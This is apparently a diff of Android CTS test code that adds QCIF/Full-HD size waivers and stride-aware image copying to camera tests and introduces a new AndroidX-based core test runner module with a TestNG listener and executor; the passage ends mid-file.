CamcorderProfile profile = CamcorderProfile.get(cameraId, profileId);
+ Size QCIF = new Size(176, 144);
+ Size FULL_HD = new Size(1920, 1080);
Size videoSz = new Size(profile.videoFrameWidth, profile.videoFrameHeight);
Size maxPreviewSize = mOrderedPreviewSizes.get(0);
@@ -1227,8 +1229,6 @@
}
}
- Log.i(TAG, "Testing video snapshot size " + videoSnapshotSz +
- " for video size " + videoSz);
if (videoSnapshotSz.getWidth() * videoSnapshotSz.getHeight() > FRAME_SIZE_15M)
kFrameDrop_Tolerence = (int)(FRAMEDROP_TOLERANCE * FRAME_DROP_TOLERENCE_FACTOR);
@@ -1253,6 +1253,26 @@
}
}
+ if (videoSz.equals(QCIF) &&
+ ((videoSnapshotSz.getWidth() > FULL_HD.getWidth()) ||
+ (videoSnapshotSz.getHeight() > FULL_HD.getHeight()))) {
+ List<Surface> outputs = new ArrayList<Surface>();
+ outputs.add(mPreviewSurface);
+ outputs.add(mRecordingSurface);
+ outputs.add(mReaderSurface);
+ boolean isSupported = isStreamConfigurationSupported(
+ mCamera, outputs, mSessionListener, mHandler);
+ if (!isSupported) {
+ videoSnapshotSz = defaultvideoSnapshotSz;
+ createImageReader(
+ videoSnapshotSz, ImageFormat.JPEG,
+ MAX_VIDEO_SNAPSHOT_IMAGES, /*listener*/null);
+ }
+ }
+
+ Log.i(TAG, "Testing video snapshot size " + videoSnapshotSz +
+ " for video size " + videoSz);
+
if (VERBOSE) {
Log.v(TAG, "Testing camera recording with video size " + videoSz.toString());
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
index f30ca92..57b470e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
@@ -511,6 +511,9 @@
private void testReprocessingAllCombinations(String cameraId, Size previewSize,
CaptureTestCase captureTestCase) throws Exception {
+ Size QCIF = new Size(176, 144);
+ Size VGA = new Size(640, 480);
+ Size FULL_HD = new Size(1920, 1080);
int[] supportedInputFormats =
mStaticInfo.getAvailableFormats(StaticMetadata.StreamDirection.Input);
for (int inputFormat : supportedInputFormats) {
@@ -528,6 +531,24 @@
StaticMetadata.StreamDirection.Output);
for (Size reprocessOutputSize : supportedReprocessOutputSizes) {
+ // Handle QCIF exceptions
+ if (reprocessOutputSize.equals(QCIF) &&
+ ((inputSize.getWidth() > FULL_HD.getWidth()) ||
+ (inputSize.getHeight() > FULL_HD.getHeight()))) {
+ continue;
+ }
+ if (inputSize.equals(QCIF) &&
+ ((reprocessOutputSize.getWidth() > FULL_HD.getWidth()) ||
+ (reprocessOutputSize.getHeight() > FULL_HD.getHeight()))) {
+ continue;
+ }
+ if ((previewSize != null) &&
+ ((previewSize.getWidth() > FULL_HD.getWidth()) || (
+ previewSize.getHeight() > FULL_HD.getHeight())) &&
+ (inputSize.equals(QCIF) || reprocessOutputSize.equals(QCIF))) {
+ previewSize = VGA;
+ }
+
switch (captureTestCase) {
case SINGLE_SHOT:
testReprocess(cameraId, inputSize, inputFormat,
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 47020ed..e74405f 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -914,7 +914,13 @@
"Testing Camera %s for abandoning surface of a repeating request", id));
openDevice(id);
+ if (!mStaticInfo.isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + id + " does not support color output, skipping");
+ continue;
+ }
+
try {
+
SurfaceTexture preview = new SurfaceTexture(/*random int*/ 1);
Surface previewSurface = new Surface(preview);
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e77ad79..f327b30 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -894,6 +894,8 @@
SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
+ Size QCIF = new Size(176, 144);
+ Size FULL_HD = new Size(1920, 1080);
for (Size stillSz : mOrderedStillSizes)
for (Size previewSz : mOrderedPreviewSizes) {
if (VERBOSE) {
@@ -901,6 +903,20 @@
+ " with preview size " + previewSz.toString() + " for camera "
+ mCamera.getId());
}
+
+ // Skip testing QCIF + >FullHD combinations
+ if (stillSz.equals(QCIF) &&
+ ((previewSz.getWidth() > FULL_HD.getWidth()) ||
+ (previewSz.getHeight() > FULL_HD.getHeight()))) {
+ continue;
+ }
+
+ if (previewSz.equals(QCIF) &&
+ ((stillSz.getWidth() > FULL_HD.getWidth()) ||
+ (stillSz.getHeight() > FULL_HD.getHeight()))) {
+ continue;
+ }
+
CaptureRequest.Builder previewRequest =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
CaptureRequest.Builder stillRequest =
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 9bced25..f6502fc 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -470,10 +470,20 @@
// Test all preview sizes.
initializeMessageLooper(cameraId);
Parameters parameters = mCamera.getParameters();
+
+ Size QCIF = mCamera.new Size(176, 144);
+ Size VGA = mCamera.new Size(640, 480);
+ Size defaultPicSize = parameters.getPictureSize();
+
for (Size size: parameters.getSupportedPreviewSizes()) {
mPreviewCallbackResult = PREVIEW_CALLBACK_NOT_RECEIVED;
mCamera.setPreviewCallback(mPreviewCallback);
parameters.setPreviewSize(size.width, size.height);
+ if (size.equals(QCIF)) {
+ parameters.setPictureSize(VGA.width, VGA.height);
+ } else {
+ parameters.setPictureSize(defaultPicSize.width, defaultPicSize.height);
+ }
mCamera.setParameters(parameters);
assertEquals(size, mCamera.getParameters().getPreviewSize());
checkPreviewCallback();
@@ -502,6 +512,7 @@
initializeMessageLooper(cameraId);
Parameters params = mCamera.getParameters();
if(!params.isVideoStabilizationSupported()) {
+ terminateMessageLooper();
return;
}
//Check whether we can support preview callbacks along with stabilization
@@ -1413,8 +1424,17 @@
mCamera.setPreviewDisplay(surfaceHolder);
Parameters parameters = mCamera.getParameters();
PreviewCallbackWithBuffer callback = new PreviewCallbackWithBuffer();
+ Size QCIF = mCamera.new Size(176, 144);
+ Size VGA = mCamera.new Size(640, 480);
+ Size defaultPicSize = parameters.getPictureSize();
+
// Test all preview sizes.
for (Size size: parameters.getSupportedPreviewSizes()) {
+ if (size.equals(QCIF)) {
+ parameters.setPictureSize(VGA.width, VGA.height);
+ } else {
+ parameters.setPictureSize(defaultPicSize.width, defaultPicSize.height);
+ }
parameters.setPreviewSize(size.width, size.height);
mCamera.setParameters(parameters);
assertEquals(size, mCamera.getParameters().getPreviewSize());
@@ -1503,11 +1523,20 @@
return;
}
+ Size QCIF = mCamera.new Size(176, 144);
+ Size VGA = mCamera.new Size(640, 480);
+ Size defaultPicSize = parameters.getPictureSize();
+
// Test the zoom parameters.
assertEquals(0, parameters.getZoom()); // default zoom should be 0.
for (Size size: parameters.getSupportedPreviewSizes()) {
parameters = mCamera.getParameters();
parameters.setPreviewSize(size.width, size.height);
+ if (size.equals(QCIF)) {
+ parameters.setPictureSize(VGA.width, VGA.height);
+ } else {
+ parameters.setPictureSize(defaultPicSize.width, defaultPicSize.height);
+ }
mCamera.setParameters(parameters);
parameters = mCamera.getParameters();
int maxZoom = parameters.getMaxZoom();
@@ -1932,6 +1961,22 @@
}
}
+ // API exception on QCIF size. QCIF size along with anything larger than
+ // 1920x1080 on either width/height is not guaranteed to be supported.
+ private boolean isWaivedCombination(Size previewSize, Size pictureSize) {
+ Size QCIF = mCamera.new Size(176, 144);
+ Size FULL_HD = mCamera.new Size(1920, 1080);
+ if (previewSize.equals(QCIF) && (pictureSize.width > FULL_HD.width ||
+ pictureSize.height > FULL_HD.height)) {
+ return true;
+ }
+ if (pictureSize.equals(QCIF) && (previewSize.width > FULL_HD.width ||
+ previewSize.height > FULL_HD.height)) {
+ return true;
+ }
+ return false;
+ }
+
private void testPreviewPictureSizesCombinationByCamera(int cameraId) throws Exception {
initializeMessageLooper(cameraId);
Parameters parameters = mCamera.getParameters();
@@ -1949,12 +1994,33 @@
callback.expectedPreviewSize = previewSize;
parameters.setPreviewSize(previewSize.width, previewSize.height);
parameters.setPictureSize(pictureSize.width, pictureSize.height);
- mCamera.setParameters(parameters);
+ try {
+ mCamera.setParameters(parameters);
+ } catch (RuntimeException e) {
+ if (isWaivedCombination(previewSize, pictureSize)) {
+ Log.i(TAG, String.format("Preview %dx%d and still %dx%d combination is" +
+ "waived", previewSize.width, previewSize.height,
+ pictureSize.width, pictureSize.height));
+ continue;
+ }
+ throw e;
+ }
+
assertEquals(previewSize, mCamera.getParameters().getPreviewSize());
assertEquals(pictureSize, mCamera.getParameters().getPictureSize());
// Check if the preview size is the same as requested.
- mCamera.startPreview();
+ try {
+ mCamera.startPreview();
+ } catch (RuntimeException e) {
+ if (isWaivedCombination(previewSize, pictureSize)) {
+ Log.i(TAG, String.format("Preview %dx%d and still %dx%d combination is" +
+ "waived", previewSize.width, previewSize.height,
+ pictureSize.width, pictureSize.height));
+ continue;
+ }
+ throw e;
+ }
waitForPreviewDone();
assertEquals(PREVIEW_CALLBACK_RECEIVED, mPreviewCallbackResult);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index d473975..47a5003 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -1868,7 +1868,7 @@
* @param src The source image to be copied from.
* @param dst The destination image to be copied to.
* @throws IllegalArgumentException If the source and destination images have
- * different format, or one of the images is not copyable.
+ * different format, size, or one of the images is not copyable.
*/
public static void imageCopy(Image src, Image dst) {
if (src == null || dst == null) {
@@ -1882,6 +1882,13 @@
throw new IllegalArgumentException("PRIVATE format images are not copyable");
}
+ Size srcSize = new Size(src.getWidth(), src.getHeight());
+ Size dstSize = new Size(dst.getWidth(), dst.getHeight());
+ if (!srcSize.equals(dstSize)) {
+ throw new IllegalArgumentException("source image size " + srcSize + " is different"
+ + " with " + "destination image size " + dstSize);
+ }
+
// TODO: check the owner of the dst image, it must be from ImageWriter, other source may
// not be writable. Maybe we should add an isWritable() method in image class.
@@ -1891,16 +1898,100 @@
ByteBuffer dstBuffer = null;
for (int i = 0; i < srcPlanes.length; i++) {
srcBuffer = srcPlanes[i].getBuffer();
+ dstBuffer = dstPlanes[i].getBuffer();
int srcPos = srcBuffer.position();
srcBuffer.rewind();
- dstBuffer = dstPlanes[i].getBuffer();
dstBuffer.rewind();
- dstBuffer.put(srcBuffer);
+ int srcRowStride = srcPlanes[i].getRowStride();
+ int dstRowStride = dstPlanes[i].getRowStride();
+ int srcPixStride = srcPlanes[i].getPixelStride();
+ int dstPixStride = dstPlanes[i].getPixelStride();
+
+ if (srcPixStride > 2 || dstPixStride > 2) {
+ throw new IllegalArgumentException("source pixel stride " + srcPixStride +
+ " with destination pixel stride " + dstPixStride +
+ " is not supported");
+ }
+
+ if (srcRowStride == dstRowStride && srcPixStride == dstPixStride) {
+ // Fast path, just copy the content in the byteBuffer all together.
+ dstBuffer.put(srcBuffer);
+ } else {
+ Size effectivePlaneSize = getEffectivePlaneSizeForImage(src, i);
+ int srcRowByteCount = srcRowStride;
+ byte[] srcDataRow = new byte[srcRowByteCount];
+
+ if (srcPixStride == dstPixStride) {
+ // Row by row copy case
+ for (int row = 0; row < effectivePlaneSize.getHeight(); row++) {
+ if (row == effectivePlaneSize.getHeight() - 1) {
+ // Special case for interleaved planes: need handle the last row
+ // carefully to avoid memory corruption. Check if we have enough bytes
+ // to copy.
+ int remainingBytes = srcBuffer.remaining();
+ if (srcRowByteCount > remainingBytes) {
+ srcRowByteCount = remainingBytes;
+ }
+ }
+ srcBuffer.get(srcDataRow, /*offset*/0, srcRowByteCount);
+ dstBuffer.put(srcDataRow, /*offset*/0, srcRowByteCount);
+ }
+ } else {
+ // Row by row per pixel copy case
+ int dstRowByteCount = dstRowStride;
+ byte[] dstDataRow = new byte[dstRowByteCount];
+ for (int row = 0; row < effectivePlaneSize.getHeight(); row++) {
+ if (row == effectivePlaneSize.getHeight() - 1) {
+ // Special case for interleaved planes: need handle the last row
+ // carefully to avoid memory corruption. Check if we have enough bytes
+ // to copy.
+ int remainingBytes = srcBuffer.remaining();
+ if (srcRowByteCount > remainingBytes) {
+ srcRowByteCount = remainingBytes;
+ }
+ remainingBytes = dstBuffer.remaining();
+ if (dstRowByteCount > remainingBytes) {
+ dstRowByteCount = remainingBytes;
+ }
+ }
+ srcBuffer.get(srcDataRow, /*offset*/0, srcRowByteCount);
+ int pos = dstBuffer.position();
+ dstBuffer.get(dstDataRow, /*offset*/0, dstRowByteCount);
+ dstBuffer.position(pos);
+ for (int x = 0; x < effectivePlaneSize.getWidth(); x++) {
+ dstDataRow[x * dstPixStride] = srcDataRow[x * srcPixStride];
+ }
+ dstBuffer.put(dstDataRow, /*offset*/0, dstRowByteCount);
+ }
+ }
+ }
srcBuffer.position(srcPos);
dstBuffer.rewind();
}
}
+ private static Size getEffectivePlaneSizeForImage(Image image, int planeIdx) {
+ switch (image.getFormat()) {
+ case ImageFormat.YUV_420_888:
+ if (planeIdx == 0) {
+ return new Size(image.getWidth(), image.getHeight());
+ } else {
+ return new Size(image.getWidth() / 2, image.getHeight() / 2);
+ }
+ case ImageFormat.JPEG:
+ case ImageFormat.RAW_SENSOR:
+ case ImageFormat.RAW10:
+ case ImageFormat.RAW12:
+ case ImageFormat.DEPTH16:
+ return new Size(image.getWidth(), image.getHeight());
+ case ImageFormat.PRIVATE:
+ return new Size(0, 0);
+ default:
+ throw new UnsupportedOperationException(
+ String.format("Invalid image format %d", image.getFormat()));
+ }
+ }
+
/**
* <p>
* Checks whether the two images are strongly equal.
@@ -1964,9 +2055,42 @@
for (int i = 0; i < lhsPlanes.length; i++) {
lhsBuffer = lhsPlanes[i].getBuffer();
rhsBuffer = rhsPlanes[i].getBuffer();
- if (!lhsBuffer.equals(rhsBuffer)) {
- Log.i(TAG, "byte buffers for plane " + i + " don't matach.");
- return false;
+ lhsBuffer.rewind();
+ rhsBuffer.rewind();
+ // Special case for YUV420_888 buffer with different chroma layout
+ if (lhsImg.getFormat() == ImageFormat.YUV_420_888 && (i != 0) &&
+ (lhsPlanes[i].getPixelStride() != rhsPlanes[i].getPixelStride() ||
+ lhsPlanes[i].getRowStride() != rhsPlanes[i].getRowStride())) {
+ int width = lhsImg.getWidth() / 2;
+ int height = lhsImg.getHeight() / 2;
+ int rowSizeL = lhsPlanes[i].getRowStride();
+ int rowSizeR = rhsPlanes[i].getRowStride();
+ byte[] lhsRow = new byte[rowSizeL];
+ byte[] rhsRow = new byte[rowSizeR];
+ int pixStrideL = lhsPlanes[i].getPixelStride();
+ int pixStrideR = rhsPlanes[i].getPixelStride();
+ for (int r = 0; r < height; r++) {
+ if (r == height -1) {
+ rowSizeL = lhsBuffer.remaining();
+ rowSizeR = rhsBuffer.remaining();
+ }
+ lhsBuffer.get(lhsRow, /*offset*/0, rowSizeL);
+ rhsBuffer.get(rhsRow, /*offset*/0, rowSizeR);
+ for (int c = 0; c < width; c++) {
+ if (lhsRow[c * pixStrideL] != rhsRow[c * pixStrideR]) {
+ Log.i(TAG, String.format(
+ "byte buffers for plane %d row %d col %d don't match.",
+ i, r, c));
+ return false;
+ }
+ }
+ }
+ } else {
+ // Compare entire buffer directly
+ if (!lhsBuffer.equals(rhsBuffer)) {
+ Log.i(TAG, "byte buffers for plane " + i + " don't match.");
+ return false;
+ }
}
}
diff --git a/tests/core/runner-axt/Android.mk b/tests/core/runner-axt/Android.mk
new file mode 100644
index 0000000..4ab91b81
--- /dev/null
+++ b/tests/core/runner-axt/Android.mk
@@ -0,0 +1,51 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+#==========================================================
+# Build the core runner.
+#==========================================================
+
+# Build library
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+LOCAL_MODULE := cts-core-test-runner-axt
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util-axt \
+ androidx.test.rules \
+ vogarexpect \
+ testng
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+#==========================================================
+# Build the run listener
+#==========================================================
+
+# Build library
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+LOCAL_SRC_FILES := $(call all-java-files-under,src/com/android/cts/runner)
+LOCAL_MODULE := cts-test-runner-axt
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/core/runner-axt/AndroidManifest.xml b/tests/core/runner-axt/AndroidManifest.xml
new file mode 100644
index 0000000..a825501
--- /dev/null
+++ b/tests/core/runner-axt/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.core.tests.runner">
+ <uses-permission android:name="android.permission.INTERNET" />
+ <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.core.tests.runner"
+ android:label="cts framework tests"/>
+
+</manifest>
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
new file mode 100644
index 0000000..f409dbd
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/ExpectationBasedFilter.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.core.runner;
+
+import android.os.Bundle;
+import android.util.Log;
+import com.google.common.base.Splitter;
+import java.io.IOException;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Set;
+import javax.annotation.Nullable;
+import org.junit.runner.Description;
+import org.junit.runner.manipulation.Filter;
+import org.junit.runners.ParentRunner;
+import org.junit.runners.Suite;
+import vogar.Expectation;
+import vogar.ExpectationStore;
+import vogar.ModeId;
+import vogar.Result;
+
+/**
+ * Filter out tests/classes that are not requested or which are expected to fail.
+ *
+ * <p>This filter has to handle both a hierarchy of {@code Description descriptions} that looks
+ * something like this:
+ * <pre>
+ * Suite
+ * Suite
+ * Suite
+ * ParentRunner
+ * Test
+ * ...
+ * ...
+ * ParentRunner
+ * Test
+ * ...
+ * ...
+ * Suite
+ * ParentRunner
+ * Test
+ * ...
+ * ...
+ * ...
+ * </pre>
+ *
+ * <p>It cannot filter out the non-leaf nodes in the hierarchy, i.e. {@link Suite} and
+ * {@link ParentRunner}, as that would prevent it from traversing the hierarchy and finding
+ * the leaf nodes.
+ */
+class ExpectationBasedFilter extends Filter {
+
+ static final String TAG = "ExpectationBasedFilter";
+
+ private static final String ARGUMENT_EXPECTATIONS = "core-expectations";
+
+ private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
+
+ private final ExpectationStore expectationStore;
+
+ private static List<String> getExpectationResourcePaths(Bundle args) {
+ return CLASS_LIST_SPLITTER.splitToList(args.getString(ARGUMENT_EXPECTATIONS));
+ }
+
+ public ExpectationBasedFilter(Bundle args) {
+ ExpectationStore expectationStore = null;
+ try {
+ // Get the set of resource names containing the expectations.
+ Set<String> expectationResources = new LinkedHashSet<>(
+ getExpectationResourcePaths(args));
+ Log.i(TAG, "Loading expectations from: " + expectationResources);
+ expectationStore = ExpectationStore.parseResources(
+ getClass(), expectationResources, ModeId.DEVICE);
+ } catch (IOException e) {
+ Log.e(TAG, "Could not initialize ExpectationStore: ", e);
+ }
+
+ this.expectationStore = expectationStore;
+ }
+
+ @Override
+ public boolean shouldRun(Description description) {
+ // Only filter leaf nodes. The description is for a test if and only if it is a leaf node.
+ // Non-leaf nodes must not be filtered out as that would prevent leaf nodes from being
+ // visited in the case when we are traversing the hierarchy of classes.
+ Description testDescription = getTestDescription(description);
+ if (testDescription != null) {
+ String className = testDescription.getClassName();
+ String methodName = testDescription.getMethodName();
+ String testName = className + "#" + methodName;
+
+ if (expectationStore != null) {
+ Expectation expectation = expectationStore.get(testName);
+ if (expectation.getResult() != Result.SUCCESS) {
+ Log.d(TAG, "Excluding test " + testDescription
+ + " as it matches expectation: " + expectation);
+ return false;
+ }
+ }
+ }
+
+ return true;
+ }
+
+ private Description getTestDescription(Description description) {
+ List<Description> children = description.getChildren();
+ // An empty description is by definition a test.
+ if (children.isEmpty()) {
+ return description;
+ }
+
+ // Handle initialization errors that were wrapped in an ErrorReportingRunner as a special
+ // case. This is needed because ErrorReportingRunner is treated as a suite of Throwables,
+ // (where each Throwable corresponds to a test called initializationError) and so its
+ // description contains children, one for each Throwable, and so is not treated as a test
+ // to filter. Unfortunately, it does not support Filterable so this filter is never applied
+ // to its children.
+ // See https://github.com/junit-team/junit/issues/1253
+ Description child = children.get(0);
+ String methodName = child.getMethodName();
+ if ("initializationError".equals(methodName)) {
+ return child;
+ }
+
+ return null;
+ }
+
+ @Override
+ public String describe() {
+ return "TestFilter";
+ }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
new file mode 100644
index 0000000..7a68a8b
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
@@ -0,0 +1,124 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+/**
+ * Listener for TestNG runs that provides gtest-like console output.
+ *
+ * Prints a message like [RUN], [OK], [ERROR], [SKIP] to stdout
+ * as tests are being executed with their status.
+ *
+ * This output is also saved as the device logs (logcat) when the test is run through
+ * cts-tradefed.
+ */
+public class SingleTestNGTestRunListener implements org.testng.ITestListener {
+ private int mTestStarted = 0;
+
+ private Map<String, Throwable> failures = new LinkedHashMap<>();
+
+ private static class Prefixes {
+ @SuppressWarnings("unused")
+ private static final String INFORMATIONAL_MARKER = "[----------]";
+ private static final String START_TEST_MARKER = "[ RUN ]";
+ private static final String OK_TEST_MARKER = "[ OK ]";
+ private static final String ERROR_TEST_RUN_MARKER = "[ ERROR ]";
+ private static final String SKIPPED_TEST_MARKER = "[ SKIP ]";
+ private static final String TEST_RUN_MARKER = "[==========]";
+ }
+
+ // How many tests did TestNG *actually* try to run?
+ public int getNumTestStarted() {
+ return mTestStarted;
+ }
+
+ public Map<String, Throwable> getFailures() {
+ return Collections.unmodifiableMap(failures);
+ }
+
+ @Override
+ public void onFinish(org.testng.ITestContext context) {
+ System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
+ }
+
+ @Override
+ public void onStart(org.testng.ITestContext context) {
+ System.out.println(String.format("%s", Prefixes.INFORMATIONAL_MARKER));
+ }
+
+ @Override
+ public void onTestFailedButWithinSuccessPercentage(org.testng.ITestResult result) {
+ onTestFailure(result);
+ }
+
+ @Override
+ public void onTestFailure(org.testng.ITestResult result) {
+ // All failures are coalesced into one '[ FAILED ]' message at the end
+ // This is because a single test method can run multiple times with different parameters.
+ // Since we only test a single method, it's safe to combine all failures into one
+ // failure at the end.
+ //
+ // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
+ String id = getId(result);
+ Throwable throwable = result.getThrowable();
+ System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
+ id, stringify(throwable)));
+ failures.put(id, throwable);
+ }
+
+ @Override
+ public void onTestSkipped(org.testng.ITestResult result) {
+ System.out.println(String.format("%s %s", Prefixes.SKIPPED_TEST_MARKER,
+ getId(result)));
+ }
+
+ @Override
+ public void onTestStart(org.testng.ITestResult result) {
+ mTestStarted++;
+ System.out.println(String.format("%s %s", Prefixes.START_TEST_MARKER,
+ getId(result)));
+ }
+
+ @Override
+ public void onTestSuccess(org.testng.ITestResult result) {
+ System.out.println(String.format("%s", Prefixes.OK_TEST_MARKER));
+ }
+
+ private String getId(org.testng.ITestResult test) {
+ // TestNG is quite complicated since tests can have arbitrary parameters.
+ // Use its code to stringify a result name instead of doing it ourselves.
+
+ org.testng.remote.strprotocol.TestResultMessage msg =
+ new org.testng.remote.strprotocol.TestResultMessage(
+ null, /*suite name*/
+ null, /*test name -- display the test method name instead */
+ test);
+
+ String className = test.getTestClass().getName();
+ //String name = test.getMethod().getMethodName();
+ return String.format("%s#%s", className, msg.toDisplayString());
+
+ }
+
+ private String stringify(Throwable error) {
+ return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
+ }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
new file mode 100644
index 0000000..deb18df
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import android.util.Log;
+
+import org.testng.TestNG;
+import org.testng.xml.XmlClass;
+import org.testng.xml.XmlInclude;
+import org.testng.xml.XmlSuite;
+import org.testng.xml.XmlTest;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Test executor to run a single TestNG test method.
+ */
+public class SingleTestNgTestExecutor {
+ // Execute any method which is in the class klass.
+ // The klass is passed in separately to handle inherited methods only.
+ // Returns true if all tests pass, false otherwise.
+ public static Result execute(Class<?> klass, String methodName) {
+ if (klass == null) {
+ throw new NullPointerException("klass must not be null");
+ }
+
+ if (methodName == null) {
+ throw new NullPointerException("methodName must not be null");
+ }
+
+ //if (!method.getDeclaringClass().isAssignableFrom(klass)) {
+ // throw new IllegalArgumentException("klass must match method's declaring class");
+ //}
+
+ SingleTestNGTestRunListener listener = new SingleTestNGTestRunListener();
+
+ // Although creating a new testng "core" every time might seem heavyweight, in practice
+ // it seems to take a mere few milliseconds at most.
+ // Since we're running all the parameteric combinations of a test,
+ // this ends up being neglible relative to that.
+ TestNG testng = createTestNG(klass.getName(), methodName, listener);
+ testng.run();
+
+ if (listener.getNumTestStarted() <= 0) {
+ // It's possible to be invoked here with an arbitrary method name
+ // so print out a warning incase TestNG actually had a no-op.
+ Log.w("TestNgExec", "execute class " + klass.getName() + ", method " + methodName +
+ " had 0 tests executed. Not a test method?");
+ }
+
+ return new Result(testng.hasFailure(), listener.getFailures());
+ }
+
